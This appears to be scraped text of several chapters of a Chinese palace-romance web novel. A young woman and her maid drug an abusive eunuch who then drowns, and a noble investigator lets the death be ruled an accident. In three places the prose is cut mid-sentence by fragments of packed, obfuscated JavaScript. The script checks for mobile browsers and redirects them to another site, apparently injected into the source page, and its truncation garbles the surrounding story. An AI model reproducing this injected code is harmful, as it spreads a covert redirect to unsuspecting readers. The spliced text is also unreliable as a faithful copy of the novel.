“你想想,若是昨日他得逞了,你如今是怎样?” “或者,若是你没有赴约,他对付你和你的家人,你如今又该怎么办?” 丁香咬了咬唇,用力点点头,擦了泪道: “奴婢知道了。” “他死有余辜!” 纪云瑟深深吸了一口气,道: “你放心,这件事,有嫌疑的不止你一个人。他在宫里作威作福多年,恨他的人不在少数。” “我细细想过了,昨夜,咱们应该没有留下什么马脚,你我只需一切如常即可。” “没有证据,谁都不能拿咱们怎样!” 丁香点点头,又十分愧疚地哭道: “是奴婢连累姑娘了,姑娘放心,若是问到奴婢这里,奴婢会一人承担,就是死,也绝不让姑娘受委屈!” 昨夜,丁香就坚持要独自下手,不让纪云瑟出面,但幸好她跟过去了,才得以做成。 她们两个弱女子对付那狗奴才并不顺利,虽然早将麻药包在帕子里,但丁香太过紧张,而且面对的毕竟是一个老奸巨猾的男子,差点就要失手。 好在纪云瑟做了二手准备,蹲守在暗处,及时冲了上去,二人合力才将他迷晕。 她们回房后一夜未眠,换了身上弄脏的衣裳后,干坐着到天明。 纪云瑟口中虽劝着丁香,自己此刻亦无法平复心情,毕竟那是一条人命,她只能安慰自己,她们手上没有沾血,那狗东西是溺水而亡。 何况,那狗奴才也是死有余辜,若不是她帮着丁香反抗,还不知有多少无辜女子落入他的魔爪。 稍稍梳洗后,纪云瑟连早膳也没有心思用,看着到了时候,嘱咐了丁香几句,就去了重华殿。 赵沐昭和陆嘉蕙尚在养伤,整个学堂亦安静不少。 纪云瑟无心听夫子的长篇大论,更未发现身旁的孙雪沅似乎也是心事重重。 散学后,孙雪沅终是忍不住,拉着纪云瑟到一旁: “云瑟,” 她羞涩一笑: “我能这样叫你么?咱们也算好友了是不是?这样叫你亲近一些。” 纪云瑟从小到大就没有手帕交,唯一的妹妹跟她亦没什么感情,看着孙雪沅自然地挽着自己的手臂,确实有些不适应这份亲昵,但对上她温婉清甜的笑脸,还是弯起唇角点了点头: “有事么?” 孙雪沅看了看四周,见无人注意她们,才继续道: “云瑟,我想问问你,就是,我拾到一件东西,想还给失主,但是,又,又不知道该如何还,你觉得应该怎么办?” 纪云瑟不太明白她说的意思,疑惑地看着这个小脸瞬间通红的姑娘。 孙雪沅又很慎重地组织语言道: “那个应该是他很重要的东西,总之,我不能留。” 她吞吞吐吐的,纪云瑟猜她欲言又止是有别的缘故,不好细问,略思了一瞬,便道: “既是重要物件,失主定要寻回,那你在原处等他不就行了?” 孙雪沅恍然大悟,这些时日她揣着御用之物总是不安心,也不敢让人发现,又想着自己不能主动去找永安帝,每日惴惴不安,却没想过可以在原处等他! 她不禁拍了拍自己笨拙的脑袋,对啊,他会去那里一次,肯定会有第二次! 她激动地向纪云瑟道了谢,匆忙收拾了东西离去。 纪云瑟记挂着太后,又思及昨夜的事不想回毓秀宫,便径直去了寿康宫。 正巧太后才用了药准备歇息,她依照沈夫子新教的手法,帮太后按揉了几个穴位,等太后睡着,便自行到厢房休息。 她净了手,活动了一下有些发酸的手臂,坐在月牙桌旁按着太阳穴准备闭目养一会儿神,突然,门被推开,一个高挺健硕的人影迈步而入。 纪云瑟一惊,起身对上一双幽深的黑眸,声线沉厉: “纪姑娘,昨夜你在何处?” 14. 第 14 章 男子居高临下,原本宽阔的身形罩着黑狐大氅,更具压迫感。 光亮被突然隔绝,纪云瑟一下看不清他的脸,但不用想也知道,必定不是什么和善之色。 她深呼吸一口,定了定神,眨了眨眼睛,疑惑道: “世子为何这么问?” 晏时锦抽动着鼻尖,空气中弥漫着淡淡的药气,就是这个味道,她给太后用的药油。 今日一早,就有羽林卫来报,御花园的御湖上漂着一具男尸,死的是长春宫的首领内监来顺。 后宫发生命案,又是夏贤妃身边的人,羽林卫颇为慎重,晏时锦刚接手京卫司,便决定亲自调查。 有仵作验尸,说来顺死于溺水,但死前却毫无挣扎的迹象。 晏时锦觉得蹊跷,便让仵作细查,果然,在尸体的口鼻内,发现了残存的极少量的异物,经太医鉴别,高度怀疑是与□□已融合的迷药粉。 也就是说,来顺是被人迷晕后,扔入御湖溺水而亡。 经过询问,来顺并非善类,这些年在宫里仗着是夏贤妃面前的红人,欺辱过的人不少,故而通过找出有杀人动机之人来排查凶手,十分困难。 昨夜雨大,御湖边的脚印亦冲刷了个干净,但幸好,羽林卫很快找到了来顺出事的第一现场,是御湖旁的一间抱厦。 凶手其实已经很小心了,现场并未留下什么明显痕迹,只有来顺身上的一粒盘扣,掉落在隐蔽处,但羽林卫只凭这个,却无法锁定真凶。 直到晏时锦亲自到那间屋子里查看,或许是雨天气闷的缘故,有残存的气味留在那间平日里无人入内的狭小房间,一缕熟悉的药香涌入鼻尖,虽十分淡,但素来各个感官敏锐的他,还是精准地捕捉到了。 是太后最近常用的药油味。 若说是出入寿康宫的宫人身上沾染到这种气味亦是有可能,但仅凭发肤衣裳上残留的味道,不可能在空气中停滞那么久,除非,凶手身上的药油味本身就很重。 那就只有两个人,太后,和眼前这位随身携带,而且双手浸染了药油的女子。 晏时锦目光如炬地扫了过来: “需不需要我提醒你,昨晚,你去了哪里,做了什么。” 纪云瑟想过自己第一次做这种事,很有可能留下马脚,也做好了被问话的准备,但没想到来得如此快。 她稳住心神,慢慢适应光线,看清了男子的一张臭脸,淡笑一声: “世子此言何意?” “昨日,我见了太后便回了毓秀宫,是周嬷嬷亲自派人送我回去,然后就歇下了。” 男子眸如点漆,静静地看着她,纪云瑟垂眸,脑海中飞快地过了一遍昨夜的细节,确定没有留什么破绽后,镇定自若地对上他审视的目光。 晏时锦将她双眸中的心虚和算计尽收眼底,已经确信,此事与她有关,他向前逼近了这女子一步: “你以为,现场没有留下痕迹?” 纪云瑟闻言心中一紧,但她不动声色,故作疑惑道: “世子您到底在说什么?” “什么现场?” 她打定了主意,一口咬定此事与她无关,若是真逼她,这种性命攸关的事,只能求到太后面前了。 晏时锦眯起双眼,他不是不知道这女子的打算,定是想着东窗事发就找太后的庇护,但他绝不会让她得逞,他冷声道: “你可知,京卫司的戒律房,有数百种刑讯用具用来审问嫌犯,专门对付不说实话之人。” 他看了一眼还想继续装傻的女子,不想与她多言,直接挑明: “御湖边的抱厦,房内残留的药油味,跟你给太后用的一模一样。” “接下来是你自己说还是我替你说?” 纪云瑟不禁暗暗叫苦,不错,她昨日给太后推拿之后,没有净手,就直接跟丁香过去了。 千算万算,竟没有想到这一条! “药油味?” 她抬手闻了闻,似明白过来,不解道: “世子的意思是,凭我身上的味道,就断定我去过什么不该去的地方么?” 她取出身上的小瓷瓶: “此药油有理气安神之效,正是因为加了一些芳香类的药材,本就气味浓馥。” 她走近了一步,刻意凑前在男子的胸口处吸了吸鼻子,道: “世子常入寿康宫,身上也沾染了,怎么单单怀疑我呢?” 晏时锦对她的突然靠近猝不及防,迅速后退一步,厉声道: “你还狡辩?” 他耐心耗尽: “你既冥顽不灵,跟我去京卫司衙门走一趟吧!” 在他动手之前,纪云瑟飞快地绕到他的身后,关上了门。 对上男子转身看过来的愕然的神色,纪云瑟浅笑一声: “世子何必如此?” 她又往前向他靠近一步,抬头看着他: “若是你真的想拿我,为何会独自一个人来问我呢?” “其实,你想帮我对不对?” 纪云瑟心知这位声名在外的国公世子不是吃素的,既然瞒不了,不如直接面对他! 她仰头看着他嫣然一笑: “我就知道,世子也是嫉恶如仇之人。” “你是不是也觉得来顺该死?” 晏时锦已经问清楚了来顺素日的行事为人,大约就猜出他被杀的原因,必是咎由自取,死有余辜。 他早已吩咐封锁已查到的来顺的死因。 但这女子太过胆大,竟然敢在宫里闹出人命,为了太后着想,他也不能轻易姑息,必要给她些警告。 女子的嗓音软柔,他不置可否,冷声道: “说,为何杀人?” 纪云瑟收敛笑意: “我没有杀人。” 对上晏时锦凌厉的黑眸,她眨了眨眼睛,说得毫不心虚: “我只是帮丁香,把他迷晕。” “是他自己跌入湖里的,与我们无关。” 纪云瑟素来识时务,见他既已查到,便不抵赖了,看这情形,若是不说实话,他不会放过她,索性全部交代了。 “那王八羔子狗仗人势,数次欺凌我的宫女,还放话威胁,若是丁香不从,便杀了她的家人。” “丁香无奈,只能奋起反抗,若不是我帮着,恐怕,今日死的就是丁香了。” 都在他的预料之中,晏时锦道: “你的迷药从何而来?” 他已得知,来顺只中了极少量的药,却能迷得人事不知,一个粗壮的男子在两个弱女子面前毫无反抗之力,可见,那药的烈性。 虽然他看在太后的面子上,不欲追究她害死来顺之事,但这女子心思不纯,若是任她留着这害人之物在宫里,也是个祸端。 纪云瑟面不改色: “我自己配的。” 晏时锦一脸不信地看过来: “你懂医理?” 纪云瑟淡定点头: 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156309|180574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“对啊,我祖母从前身子不好,我常常照顾她,就跟府医略学了些。” “否则,我怎敢轻易帮太后娘娘推拿?” 她当然不能把沈夫子供出来,不过,她确实有段时日惊羡于沈夫子的医术,就磨着跟他学了几年,后来,觉着背那些医理药经太过枯燥乏味,便丢开了。 “你不信啊?” 她拿起男子的右手,托在自己掌心上,指尖切在他腕上的寸关尺处,细细把了起来。 她居然拉他的手? 晏时锦蹙紧眉头,将她的手甩开: “你做什么?” 纪云瑟没好气地瞪了他一眼,强行将他的手腕又扣了过来: “证明给你看,我会医术啊!” “别动嘛,让我把一把你的脉,你再听听我说得对不对!” 切脉是她跟着沈夫子学得最认真的一项技艺,那时,她觉得感受每个人脉象中微不可察的细节十分有意思,便用心学了许久,对于平常的脉象,她是能看出一二的。 晏时锦愣愣地看着自己的一只大手落在她柔腻的掌心,被她细白的柔荑掐住,却没再挣脱,他倒是想看看,她有什么后招。 少女上下扇动着纤长的羽睫,一会儿皱着眉头一会儿松开,似是十分认真地在听他的脉象,搭着他腕上的手指时不时轻轻按压一下。 纪云瑟静静感受着,不浮不沉,强健有力,竟是沈夫子口中标准的好脉象呢! 就是刚开始稍稍快了一些,但好在节律整齐,慢慢的也趋于均匀和缓。 她又抬头看了一眼这厮的脸,微微泛红,气血很足,正想让他张嘴看看舌苔,但对上他不耐的目光,还是打住了口。 他不喜女色,把自己当女子,把她当姐妹不就行了,何必摆出这似被她轻薄了的做派? 不过她突然想到赵檐对自己的所作所为,好像又理解了他。 但是,也不一样吧。 她对赵檐的抗拒,源于她不仅厌恶这个人,更是因她在赵檐这个男子面前毫无还手之力,自然有恐慌之心。 可是,晏时锦是个高壮的武将,不该怕她一个弱女子吧? “世子脉象微弦,似乎有些肝火虚旺,是最近没有休息好么?” 纪云瑟略思索了片刻说道,松开了他的手,怪不得这厮看起来脾气不好,又道: “不过也无需用药,平日里吃些清凉降肝火的食物,不要轻易动气就好。” 滑腻柔软的触感突然消失,晏时锦抽回手,背在身后,不置一词。 纪云瑟便知晓自己半蒙半猜碰对了,笑道: “怎么样,世子信我了吧?” 晏时锦冷冷道: “你还制了多少迷药,交出来。” 纪云瑟立刻摇头: “不行!” 晏时锦从未见过这般不懂分寸礼数的女子,厉声道: “此物阴毒,断不能留下害人!” “姑娘还是想去京卫司的戒律房走一趟?” “人不犯我我不犯人,这是我防身之物!” 纪云瑟不明白这厮为何就是不肯放过自己,明明他也看不惯来顺,觉得他该死,而且也打算不追究昨夜之事了。 但她又不好与他争执,待她仰起头,看着这张丰神俊逸的完美轮廓,突然心念一动,鬼使神差地凑了上前,纤细的手指轻轻点在他硬朗的胸膛,杏眸潋滟,娇语轻喃: “若交出来,世子是打算日后贴身保护我么?” 15. 第 15 章 当紫电手握整理好的关于来顺一案的卷宗,从京卫司衙门匆忙赶到寿康宫时,正好看见自家主子从西侧的厢房出来。 他赶紧上前将东西奉上: “世子,羽林卫谢统领带人调查许久,却依旧对凶手毫无头绪,您看……” 晏时锦面无表情地接过,迈步离开。 门带上的一刹那,紫电忽的瞥见房内的一角丁香色衣裙,和一张艳若桃李的美人面。 是纪姑娘! 紫电有些愣神地跟上晏时锦的步伐,却没发觉他突然停下脚步,猛地撞了上去。 他摸着撞痛的额头,抬眼对上自家主子那张十年如一日的冷脸。 不对,他的脸依旧是冷的没错,但耳朵怎么红了? 而且,红晕有一直往脸颊蔓延的趋势,紫电结合自己跟着主子历练,积累下的敏锐洞察力,瞬间明白了。 不能吧? 他们查案跑得脚不沾地,主子竟然在此风花雪月? 会不会有点狗? 晏时锦睨了他一眼,刚要吩咐他派人盯紧那个胆大妄为的女子,又想到这无缘无故的一句,恐会引人怀疑。 若是让太后知道她用心疼爱的一个小辈是如此品性,于她的病情而言定是雪上加霜。 何况这女子惯会利用自身美色,要换了别的意志不坚定之人,只怕轻易就着了她的道。 罢了,只能他亲自上心。 紫电诧异地看着自家主子阴沉着脸拍了拍胸口衣襟上的灰尘阔步离开,他迅速跟上,继续说道: “世子,长春宫夏贤妃已经派了好几个人过来问进展,您看,该如何回?” 晏时锦道: “告诉谢绩,让他结案,就说,此人系误服用了不明药物,失足坠入御湖溺亡。” 紫电道: “若长春宫的人细问是何药物呢?” 晏时锦冷哼一声,神色不耐道: “让她们自行去来顺的房里搜一搜,便知晓。” 就算没有听见晏时锦和紫电的对话,纪云瑟也已经大致摸清楚了这位国公世子的脾性,刚才他虽冷着脸离开,但应该是看在太后的面子上,放过了她,不计较此事了。 她终于松了一口气,寻到周嬷嬷告别一声后回毓秀宫。 行至凤仪门不远处时,她看见一个熟悉的身影,站在一棵冒了新芽的连理柏下,似发呆愣神。 纤细袅娜,正是孙雪沅。 纪云瑟想起散学后她问自己的话,走过去拍了拍茫然看着前殿方向不动的少女: “等到失主了么?” 孙雪沅明显被吓了一跳,匆忙收起手中的东西,下意识地点点头,愣了一瞬后,又飞快地摇了摇头: “没有。” 纪云瑟只瞥见一角明黄在她袖口处一晃,并未太在意,见她憨痴的模样,忍不住笑道: “需要我帮你么?” 孙雪沅抿着唇,摇了摇头,思索了片刻,想开口说什么,又停住,最后只小声道: “多谢你,云瑟,我,我自己在这里等就好了。” 她深深地叹了一口气,刚才,她确实等到了江守忠,可正当她如释重负地将绢帕托付他转交永安帝时,那位首领内监却说什么都不肯接,只道: “这是陛下御用之物,既是他亲手给姑娘的,老奴不敢,也断没有私自转交回他的道理。” 孙雪沅一下泄了气,询问他自己该怎么办,江守忠笑了笑,丢下一句话便告辞离开: “姑娘再耐心等两日,说不准,陛下一时兴致,又故地重游了。” 纪云瑟看她似心事重重,恐是有什么不便告诉自己的,随口说了两句闲话后与她告别离开。 刚回到毓秀宫,就被一直等着她的丁香迎进厢房,问道: “姑娘散学后去哪里了?” “我去寿康宫看了太后。” 纪云瑟正想着如何告诉她,昨日之事已经过去,让她不必担心时,却听她兴奋地拉着她低声道: “姑娘,咱们没事了!” “奴婢听说,羽林卫已结了案,说他是失足溺水而亡!” 纪云瑟问道: “贤妃娘娘怎么说?” “听说,娘娘虽有疑惑,但这是经指挥使大人亲自签认,又呈报给了陛下过目的结果,故而并没有再说什么。” 丁香如释重负地长长松了一口气,又向纪云瑟郑重地行了跪拜之礼: “奴婢多谢姑娘救命之恩!” 纪云瑟不便告诉她晏时锦找过自己一事,只能装作十分惊喜地扶起她,却不料听她说了下一句话,心情顿时跌入谷底。 “才刚,蔚王殿下来寻公主殿下,见公主不在宫里,又问起了姑娘您,奴婢只说不知道姑娘在哪里,他便走了。” 丁香有些疑惑道: “前两日姑娘回家,蔚王殿下也问起过姑娘,他是否找您有何事?” 见纪云瑟摇头,她又自言自语道: “奴婢记得,从前蔚王殿下不常来咱们宫里的呀!” “莫不是因为公主受伤,他身为兄长,想着时常来探望?” “可是,公主最近不是总去贤妃娘娘那里么?蔚王殿下怎会不知呢?” 纪云瑟一听这王八羔子的名字,原本就疲惫的身子更觉头疼不已,她吩咐丁香道: “去帮我备水沐浴吧,晚膳不用帮我取了,我有些累,想早些歇息。” ~ 上巳节后,天气转暖,太后的精神好了许多,每日能下地走一走,胃口也渐佳。 夏贤妃因说起年前曾去灵岩寺为太后祈福,祝祷太后福寿康健,如今果得偿所愿,该回去还愿。 又说如今是樱花盛开的季节,灵岩寺所在的南云山,恰好种了半山的晚樱,风景甚好,左不过离得近,便说动太后亲去赏一赏。 太后在房内闷了许久,也想去看看户外的春色。 永安帝见太后有兴致,本欲陪伴同去,却被太后拒绝: “你忙你的去吧,我带着娘儿们孩子们一起去,倒自在些。” 永安帝一笑,便也应允。 太后原本想让纪云瑟留在皇宫,正巧那日夏贤妃在寿康宫向太后回禀行程安排时,看见了一旁的她,便道: “纪大姑娘侍奉太后辛苦了,一同去罢,昭儿总说要姑娘陪着做个伴呢。” 又特意在太后面前夸赞她: “纪大姑娘知书识礼,温婉贤淑,给昭儿做伴读的这些时日,昭儿的功课好了许多,从前毛躁的脾性也改了不少。还是太后娘娘您会调教人呐!” 她如此说,太后倒不好拒绝了。 纪云瑟自然明白夏贤妃的用意,无非是要把她拘在身边,不让她有跟永安帝有私下见面的机会。 这倒正中她的下怀,她既打算找机会出宫,肯定不能被永安帝瞧上。 几日后,太后领着后宫嫔妃,宗室王妃们以及一众孙子孙女们出行,队伍浩浩荡荡,各色华贵的马车络绎不绝。 纪云瑟按司礼监的安排,欲上赵沐昭的马车,却被静立车外的玉拂拦住: “纪姑娘,公主说天气回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156310|180574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温,马车上人多就热了,气味腌臜。” “不如,您到别处挤一挤吧!” 说罢,赵沐昭已经吩咐车夫驾马,跟在夏贤妃的马车后。 纪云瑟目送着两辆马车离开,默默翻了个白眼。 “纪姑娘?” 一声轻呼在身后响起,纪云瑟回头,却见是涟亲王世子赵峥,骑着一匹枣红马向她走来,见她手里拿着包裹,又望了一眼远去的马车,似乎瞧出了她的窘境,说道: “舍妹的马车空旷,纪姑娘可要与她同乘?” 纪云瑟不想平白无故欠他一个人情,刚微笑着要开口拒绝,说自己与随行的宫女挤一挤就成,却一眼瞥见驾马向她这边走来的赵檐。 “多谢世子。” 纪云瑟微微一躬。 赵峥一跃下马,大气地摆摆手: “纪姑娘客气了!你我每日一同上学,也算是有同门之谊。” “舍妹的马车就在后面,姑娘稍等。” 纪云瑟点点头,余光看向不断靠近的赵檐,下意识地往赵峥的方向移了两步。 除了家中姐妹,赵峥甚少与其他姑娘们说话,看着向他靠近的蛾眉曼睩,手里的辔头拉紧,有些局促地没话找话: “纪姑娘会骑马么?” 纪云瑟一直关注着赵檐的动静,没有发觉身旁的男子竟红了脸颊,只敷衍道: “不会。” 赵峥赧颜一笑: “那,若是有机会,我可以教你。” “我父王说,我御马的技术不错,射艺也尚佳。” 纪云瑟压根没注意他在说什么,只点头嗯了一声,看到赵檐的马距离她不过两三丈,忙躲到了赵峥的另一侧。 幸好,涟亲王府的马车立刻跟了上来,赵峥抬手向车夫示意,又钻入马车内片刻后,出来向纪云瑟道: “纪姑娘,请!” 纪云瑟感激地朝他笑了笑,握紧袖口搭着他伸过来的手臂,上了马车。 随处可见的羽林卫足够体现永安帝对这次出行的重视,甚至特地让晏时锦抛去其他公务,专职陪同太后身边。 身着深色麒麟纹曳撒的英挺男子骑着高头大马立在宫门口,初升的日光落在他棱角分明的轮廓,醒目的清隽容颜轻而易举地吸引了众多目光。 赵檀御马靠近他,在一旁笑道: “子睿年纪也不小了,可看中了哪家闺秀?” “本王听说,晏老国公和老夫人急得不行,催着等着抱曾孙子呢!” 晏时锦看着陆续出动的车马队伍,面无表情道: “殿下操心的事真不少。” 赵檀笑道: “父皇常说,子睿就如同咱们的亲兄弟一般,你的事,本王自然要亲自过问。” “有了哪些人选?不妨说一说,本王也帮着参详参详?” 晏时锦侧过头,从他的笑容中读出一丝别有用心,淡淡道: “不劳殿下费心。” 赵檀笑道: “可是怕太早娶妻束缚了自己?” “也对,要么,本王替你物色两个美人,先收在房里陪着?” 晏时锦眯起双眸瞥了他一眼后看向远处: “裕王殿下,您最近很闲么?” “唉,子睿你……” 赵檀正待开口继续说什么,顺着他的目光瞧过去,却见那个曾让自己一眼动心的绝色少女,正同涟亲王世子赵峥交谈着,二人离得很近,说笑间似十分熟稔。 赵檀笑容停滞,转头看见一旁的晏时锦亦是神色不耐。 16. 第 16 章 晏时锦有些后悔自己轻易饶过了纪云瑟。那日事发,他就应该直接去找纪筌,让他自觉将这个不安分的女儿领回府。 胆大妄为,本性难移! 他看了一眼身旁一脸怅然若失的裕王,和不远处明显冲着她去的蔚王,眉头紧锁。 赵檀小心觑着晏时锦的神色,便知他和纪云瑟是真的有事,彻底死心了,还有什么好试探的? 罢了,他惹不起。 “子睿,我去母妃那里瞧一瞧。” “你,你辛苦了!” 临策马前,他还是忍不住看了一眼钻入涟亲王府马车里的窈窕身影。 唉,着实可惜了! 又扫了一眼在女子身后目光痴愣的赵峥,轻哼一声离开。 纪云瑟提着裙摆上了马车,里面已经坐了两个女子,端坐正中的身着鹅黄对襟银鼠皮氅衣,看着应是尚未及笄的年纪,向她甜甜一笑: “这位就是纪姐姐么?” “请坐。” 应该就是赵峥的胞妹赵如昕。 “多谢郡主。” 纪云瑟欠身一躬,在一侧坐下后,向对面坐着的面色不善的女子颔首笑道: “没想到县主也在此呢!” 赵芷宁一脸不屑,但在赵如昕面前不好表现得太过明显,只假笑一声,道: “真巧啊!纪姑娘。” 她本不在随行名单中,是奉承了赵沐昭许久,才得了个机会。 原本想与陆嘉蕙同乘,但她脚伤刚好,晋元长公主不放心非要亲自看着,正好遇上了涟亲王府的马车,赵芷宁哄着赵如昕,便坐在了这里。 她颇具意味地挑眉笑道: “纪姑娘真是好本事,竟然让世子如此为你费心呢!” 目光看向赵如昕。 纪云瑟正想反驳,却见赵如昕挨近了她,笑道: “是呢,哥哥让我好好照顾纪姐姐,你在此不必拘束。” 赵如昕心思单纯,细细端详了纪云瑟片刻,忍不住挪到了她这一侧的座椅上,离她近了一些,赞道: “纪姐姐,你长得真好看,就像画上的仙女一般!” 纪云瑟有些不好意思地笑了笑: “郡主过奖了。” “是真的!” 赵如昕笑意盈盈地紧挨着她,拉起她的手,摸了摸她莹润细滑的手背,不禁道: “我长这么大,还没见过比你更好看的人。” 纪云瑟讪讪地对上她不惨一丝杂质的晶亮目光,笑着摇了摇头: “郡主再夸我,我就不敢叨扰了。” 赵如昕十分喜欢貌美温柔的纪云瑟,一路上拉着她的手,俏生生地与她闲聊,完全没注意另一侧的赵芷宁不断地翻着白眼,一脸鄙夷的神色。 马车驶入南云山,山路蜿蜒,赵如昕的话忽然越来越少,脸色也有些苍白。 纪云瑟看出了她的异常,关切道: “郡主怎么了?” 赵如昕靠在她的肩头,似没什么力气: “纪姐姐,我有些难受。” 她日常骑马多,甚少坐马车,特别是走山路,不知怎的就突然不舒服了。 赵芷宁一看她情况不妙,便道: “郡主稍候,我去叫太医。” 纪云瑟摸了摸她的额头,并不烫,而且看起来亦没有受寒的症状,大概猜到了几分,问道: “郡主可是觉得头晕恶心?” 赵如昕点了点头。 纪云瑟拦住赵芷宁,道: “太医院的马车还不知道在哪儿呢,你这会子去,怕是人没找着,还扰了行进秩序。” 一句话说得赵芷宁不敢乱动,但又不客气地说道: “郡主若是有个好歹,你能担得了这个责么?” 纪云瑟不与她多言,拿出随身带着的药油,打开瓶盖,递给赵如昕, “郡主,您闻一闻这个。” 她知道里面加了薄荷、藿香等一些芳香药材,有清气醒神的功效,又拿过她的另一只手,找到腕内的内关穴,帮她按揉起来。 片刻后,赵如昕觉得舒畅了许多,她十分惊喜道: “纪姐姐,你真厉害!没想到,你还会医术呢!” 纪云瑟收起药油,笑道: “哪里,郡主误会了,不过是因为从前,我家祖母亦有坐马车就晕眩的症候,我向太医学了这些照顾祖母,故而知晓。” “郡主好些了么?” 赵如昕点点头,更觉得这位仙女姐姐亲近可人,紧紧挽着她的胳膊不放: “我要是早些认识纪姐姐就好了。” 纪府这些年刻意减少了与各世家勋贵之间的应酬来往,各府的宴席基本不参与,自家也不办,故而纪云瑟与各家贵女都不熟悉。 也就是入宫之后,她才认识了一些。 她虽不太适应这位郡主的热情亲昵,却也喜欢这样一个单纯可人的小妹妹,二人一路上有说有笑,倒是惹得一旁的赵芷宁频频向她翻白眼。 隐没在半山腰上葱郁树林中的灵岩寺,乃一座有着百年历史的皇家古刹,平日里香火旺盛,但若有皇室宗亲莅临,便会闭门谢绝其他香客。 临近午时,太后的銮驾终于到了山门,住持领着寺院中的所有僧人整齐地立在那儿等候。 太后不便步行,在马车上向住持并几位得道高僧寒暄几句后,便命人直接绕道,往紧挨着寺后的皇家别苑去。 那别苑原本就是为皇室过来祈福时的安置之所,如同一座小型行宫一般,虽小但五脏俱全,两侧有角门直通寺院,礼佛亦方便。 下马车时,赵如昕拉着纪云瑟,有些依依不舍: “纪姐姐,你跟我住一起好不好?” 一旁的赵芷宁忙道: “郡主,你不是答应了让我跟您同住么?” 纪云瑟扫过赵芷宁恨恨的目光,向赵如昕淡笑道: “郡主好意,原不应辞,但我毕竟是公主的伴读,不敢自行安排,得去问问公主的意思。” 赵如昕有些失落地“哦”了一声,略思索一瞬,又说道: “没关系,大家都在别苑里,那我随时去找纪姐姐!” 纪云瑟笑着向她告辞,正打算去寻赵沐昭,却见寿康宫日常跟着周嬷嬷的小宫女过来寻她: “嬷嬷说娘娘坐了马车有些不适,请姑娘过去陪着。” 纪云瑟答应了一声,拿着包裹径直去了太后所居的小院。 原来是太后亦是乘了马车,有些晕眩胃口不佳,纪云瑟过去时,夏贤妃已经带着曦和公主和赵檐侍奉在旁。 太后的脸色似不太好,看见纪云瑟过来,才稍稍舒展了面容,待她行礼后,便招手让她到身边来。 赵沐昭端起一碗芡枣小米粥欲亲手喂,却见太后蹙了蹙眉,摆摆手说不想吃。 其实,她对这些特意过来服侍她的嫔妃或者孙辈,感情是十分复杂的。 一方面,年纪大的人,自然是希望儿孙相伴,承欢膝下。但另一方面,这些宫中贵人向来养尊处优,若只是让她们陪着说说话倒还好,真要做些什么伺候她,真是哪哪都不舒服。 给她喂食时,不是烫了,就是吹得过凉,太后年纪大,牙口也不算好,有时嚼得慢一些,这下一口,要么来得太快,要么等得太久。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156311|180574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >让她原本就觉得病中烦闷的心情,更添几分苦恼,但他们一片孝心,又不好苛责了。 故而很多时候的所谓“侍疾”,只是让她们意思意思,便赶紧打发她们回去。 只有纪云瑟,不仅样貌让人赏心悦目,行事更是细心周到,又惯会说话哄她开心。 正是因为这姑娘十分难得,太后想着自己既享受了她无微不至的照顾,自然要回馈她最好的东西,而且心里是真喜欢她,便一心希望她做自己的儿媳妇,保她一生的荣华。 唉,只不过,她那个倔儿子总不表态。 她斜倚在青缎靠背引枕上,突然注意到立在一旁的赵檐,这是出身最高贵,算是永安帝最看重的皇子。 要么,让这孩子当她的孙媳妇? 赵檐原本是在有意无意地打量纪云瑟,但见太后看向他,忙收回目光换上恭敬的笑意。 太后心里默默叹气,只可惜,她的这位与纪云瑟年岁相仿的孙子,样貌上虽看得过去,却是一副纨绔高粱样儿,完全没有学到他爹的一丝睿智冷静,日后恐难担大任。 算了,他不配。 太后叹了口气,思绪悠悠回转,若是皇长子还在,就好了…… 纪云瑟很自然地站在了太后的身侧,柔声哄道: “娘娘,您颠簸了半日,臣女帮您揉一揉,再用膳,好不好?” 太后在她的轻柔推拿中闭上了眼睛,向夏贤妃摆摆手: “刚到此处,你事情多,忙去吧。” “是,娘娘您好好休息,臣妾告退。” 夏贤妃躬身行礼,拉着已无法控制眼神的赵檐,与赵沐昭一同退出。 当晏时锦带着紫电将各处的防卫部署妥当,二人迈步入院内时,正见周嬷嬷送纪云瑟出来,周嬷嬷笑道: “还是姑娘有法子,娘娘下马车时还说什么都不想吃,才刚倒好,一碗粥都吃光了,还念着要吃姑娘说的青团。” 纪云瑟笑道: “如今的艾草正好,这里旁边的山林中定然少不了,我去采一些,晚膳时娘娘就能吃上了。” 周嬷嬷摇头道: “这些事,何须劳动姑娘亲自去?老奴叫个小内监去便好了。” 纪云瑟道: “嬷嬷不知,艾草有许多种,若是不能分辨,采错了就白费了工夫。还是我去吧,昔年我常跟乳母做这个,最清楚不过了。” 周嬷嬷道: “可是,这深山野林,姑娘怎好独自去?” 说话间,晏时锦已行至二人面前,周嬷嬷微微行礼,道: “娘娘刚刚睡下,世子爷可以等一会儿再来。” 